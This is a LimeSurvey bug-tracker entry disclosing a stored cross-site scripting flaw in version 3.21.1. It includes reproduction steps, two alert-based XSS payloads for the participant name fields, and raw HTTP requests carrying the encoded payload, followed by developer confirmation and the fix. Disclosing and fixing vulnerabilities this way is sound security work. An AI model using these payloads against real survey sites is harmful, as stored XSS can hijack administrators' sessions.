


View Issue Details


This bug affects 1 person(s).				10
ID	Project	Category	View Status	
15680	Bug reports	LimeSurvey Website	public	
Reporter	misheljava	Assigned To	markusfluer	
Priority	none	Severity	partial_block	
Status	 closed	Resolution	fixed	
Product Version	3.21.1			
Fixed in Version	3.21.2			
Summary	15680: LimeSurvey 3.21.1 Cross Site Scripting Stored			
Description	<div><div><div><div><div><div></div><div>Title: LimeSurvey 3.21.1 Cross Site Scripting (XSS) Stored (2 instances)</div><div>Date: 18/12/2019</div><div>Author: Guram Javakhishvili</div><div>Email: misheljava@gmail.com, guramj@gmail.com</div><div>Software : LimeSurvey 3.21.1</div><div>Product Version: 3.21.1</div><div>Vulnerability Type : Injection</div><div>Vulnerability : Cross Site Scripting (XSS) Stored</div></div></div><div>LimeSurvey latest version 3.21.1 & LimeSurvey development version 4.0.0 suffer from reflective and persistent (Stored) cross site scripting and html injection vulnerabilities. Insufficient validation of user input on the authenticated part of the Limesurvey application exposes the application to persistent cross site scripting (XSS) vulnerabilities. These vulnerabilities enable potentially dangerous input from the user to be accepted by the application and then embedded back in the HTML response of the page returned by the web server.</div></div></div></div>			
Steps To Reproduce	<div>Steps to Reproduce:</div> <div>The attacker needs the appropriate permissions but non-Admin (can be basic user role) in order to create Survey and then add participants. It was noted that the Add Participants function was found to be vulnerable to two instances of Stored Cross Site Scripting (XSS) vulnerabilities. When the survey participant being edited, e.g. by an administrative user, the JavaScript code will be executed in the browser.</div> <div>List of vulnerable parameters:</div> <div><div><div>•</div>firstname</div><div><div>•</div>Lastname</div></div> <div>Steps to reproduce:</div> <div>Step 1 - Once the survey is created then open the survey and click on 'Survey Participants' at the bottom left hand side menu bar, click on it. Once the Survey Participants window opens then click on 'Create' and then Add participants.</div> <div>Step 2 - Add new survey participant. Insert following payloads into the First name & Last name fields and click save. (See second screenshot).</div> <div>Payloads:</div> <div>Fname"onmouseover="alert('Fname')""style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//</div> <div>Lname"onmouseover="alert('Lname')""style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//</div> <div>Step 3 - Now click on Save and you should see message saying Success. (See screenshot 3). Now click on 'Browse survey participant'.</div> <div>Step 4 - Once you browse to survey participants, you will see new participant has been added with your payload as firstname and lastname (See screenshot 4)</div> <div>http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/browse/surveyid/686776</div> <div>Step 5 - Now click on Edit symbol to edit your participant. (See screenshot 4). Once the edit window will pop you will notice your XSS payload rendering in the browser (See screenshot 5 and 6) and screenshot 7 showing that the user can see the XSS payload.</div>			
Additional Information	<div>Due to the size of the server response I will only include HTTP request and snip of response showing there is not output encoding in place</div> <div>HTTP request with vulnerable parameters and XSS payloads:</div> <div>POST /limesurvey3.21.1/index.php/admin/tokens/sa/addnew/surveyid/686776/tokenid HTTP/1.1</div> <div>Host: localhost</div> <div>User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0</div> <div>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/q=0.8</div> <div>Accept-Language: en-GB,en;q=0.5</div> <div>Accept-Encoding: gzip, deflate</div> <div>Content-Type: application/x-www-form-urlencoded</div> <div>Content-Length: 685</div> <div>Origin: http://localhost</div> <div>Connection: close</div> <div>Referer: http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/addnew/surveyid/686776</div> <div>Cookie: LS-OOSUJAAJFRZHZYBG=vsrmh1t9hkgvcsth197r6jeut; YII_CSRF_TOKEN=WkjDTFA4RDdmbUjvMVhV50VNdXFaQzNCa2g5UnE1dnjRvylcV9_gUYN_cloQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D</div> <div>Upgrade-Insecure-Requests: 1</div> <div>YII_CSRF_TOKEN=WkjDTFA4RDdmbUjvMVhV50VNdXFaQzNCa2g5UnE1dnjRvylcV9_gUYN_cloQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D&completed-switch=0&completed-date=N&completed=N&firstname=Fname%22onmouseover%3D%22alert%28%27Fname%27%29%22style%3D%22position%3Aabsolute%3Bwidth%3A100%25%3Bheight%3A100%25%3Btop%3A0%3Bleft%3A0%3B%229e2ad%2F%switch=0&sent-date=N&sent=N&remind-switch=0&remind-date=N&remindersent=N&usesleft=1&validfrom=&validuntil=&subaction=inserttoken&sid=686776</div> <div>Second HTTP request with XSS payloads in the response (See screenshot 7):</div> <div>GET /limesurvey3.21.1/index.php/admin/tokens/sa/edit/iSurveyId/686776/iTokenId/6/ajax/true?YII_CSRF_TOKEN=WkjDTFA4RDdmbUjvMVhV50VNdXFaQzNCa2g5UnE1dnjRvylcV9_gUYN_cloQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D</div> <div>Host: localhost</div> <div>User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0</div> <div>Accept: /</div> <div>Accept-Language: en-GB,en;q=0.5</div> <div>Accept-Encoding: gzip, deflate</div> <div>X-Requested-With: XMLHttpRequest</div> <div>Connection: close</div> <div>Referer: http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/browse/surveyid/686776</div> <div>Cookie: LS-OOSUJAAJFRZHZYBG=vsrmh1t9hkgvcsth197r6jeut; YII_CSRF_TOKEN=WkjDTFA4RDdmbUjvMVhV50VNdXFaQzNCa2g5UnE1dnjRvylcV9_gUYN_cloQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D</div>			
Tags	No tags attached.			
Bug heat	10			
Complete LimeSurvey version number (& build)	limesurvey3.21.1+191210			

I will donate to the project if issue is resolved	No
Browser	Chrome & Firefox
Database type & version	DB Server version: 10.4.6-MariaDB Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407
Server OS (if known)	
Webserver software & version (if known)	
PHP Version	PHP version: 7.3.9






Users monitoring this issue


User ListDenisChenu

Activities




misheljava
2019-12-19 14:24
reporter

 image.png (161,735 bytes)
 image-2.png (105,713 bytes)
 image-3.png (112,787 bytes)
 image-5.png (121,227 bytes)
 image-6.png (119,159 bytes)




DenisChenu
2019-12-19 15:17
developer ~55087
Last edited: 2019-12-19 15:17

Confirm the issue
Not CHTML usage (or encode) in
<https://github.com/LimeSurvey/LimeSurvey/blob/d8072e535cc209f281b12f57a5572e741108b6b5/application/views/admin/token/tokenform.php#L150>




DenisChenu
2019-12-19 15:18
developer ~55088

PS : since some survey can allow register : I think this XSS is public accessible in survey with register allowed.




markusfluer
2019-12-19 16:24
administrator ~55095

Fix committed to master branch: <http://bugs.limesurvey.org/plugin.php?page=Source/view&id=29293>



Mazi
2019-12-19 17:06
updater ~55097

@misheljava Thanks a lot for these very useful and well document issue reports!



lime_release_bot
2020-02-03 14:53
administrator ~55649

Fixed in Release 4.0.0+200116

Related Changesets

LimeSurvey: master 0a7bdfa1
2019-12-19 16:15:41
markusfluer
[Details](#) [Diff](#)

Fixed issue ~~45600~~ LimeSurvey 3.21.1 Cross Site Scripting Stored
mod - application/views/admin/token/tokenform.php

Affected Issues
~~45600~~
[Diff](#) [File](#)

Issue History			
Date Modified	Username	Field	Change
2019-12-19 14:24	misheljava	New Issue	
2019-12-19 14:24	misheljava	File Added: image.png	
2019-12-19 14:24	misheljava	File Added: image-2.png	
2019-12-19 14:24	misheljava	File Added: image-3.png	
2019-12-19 14:24	misheljava	File Added: image-4.png	
2019-12-19 14:24	misheljava	File Added: image-5.png	
2019-12-19 14:24	misheljava	File Added: image-6.png	
2019-12-19 14:24	misheljava	File Added: image-7.png	
2019-12-19 14:58	cdorin	View Status	public => private

Date Modified	Username	Field	Change
2019-12-19 14:58	cdorin	Description Updated	
2019-12-19 14:58	cdorin	Steps to Reproduce Updated	
2019-12-19 14:58	cdorin	Additional Information Updated	
2019-12-19 15:06	cdorin	Assigned To	=> markusfluer
2019-12-19 15:06	cdorin	Status	new => assigned
2019-12-19 15:17	DenisChenu	Note Added: 55087	
2019-12-19 15:17	DenisChenu	Note Edited: 55087	
2019-12-19 15:18	DenisChenu	Note Added: 55088	
2019-12-19 15:22	DenisChenu	Issue Monitored: DenisChenu	
2019-12-19 16:24	markusfluer	Changeset attached	=> LimeSurvey master 0a7bdfa1
2019-12-19 16:24	markusfluer	Note Added: 55095	
2019-12-19 16:24	markusfluer	Resolution	open => fixed
2019-12-19 16:25	markusfluer	Status	assigned => resolved
2019-12-19 16:25	markusfluer	Fixed in Version	=> 3.21.2
2019-12-19 17:06	Mazi	Note Added: 55097	
2020-02-03 14:53	lime_release_bot	Note Added: 55649	
2020-02-03 14:53	lime_release_bot	Status	resolved => closed
2020-05-04 09:44	ollehar	View Status	private => public
2021-08-02 17:18	guest	Bug heat	8 => 10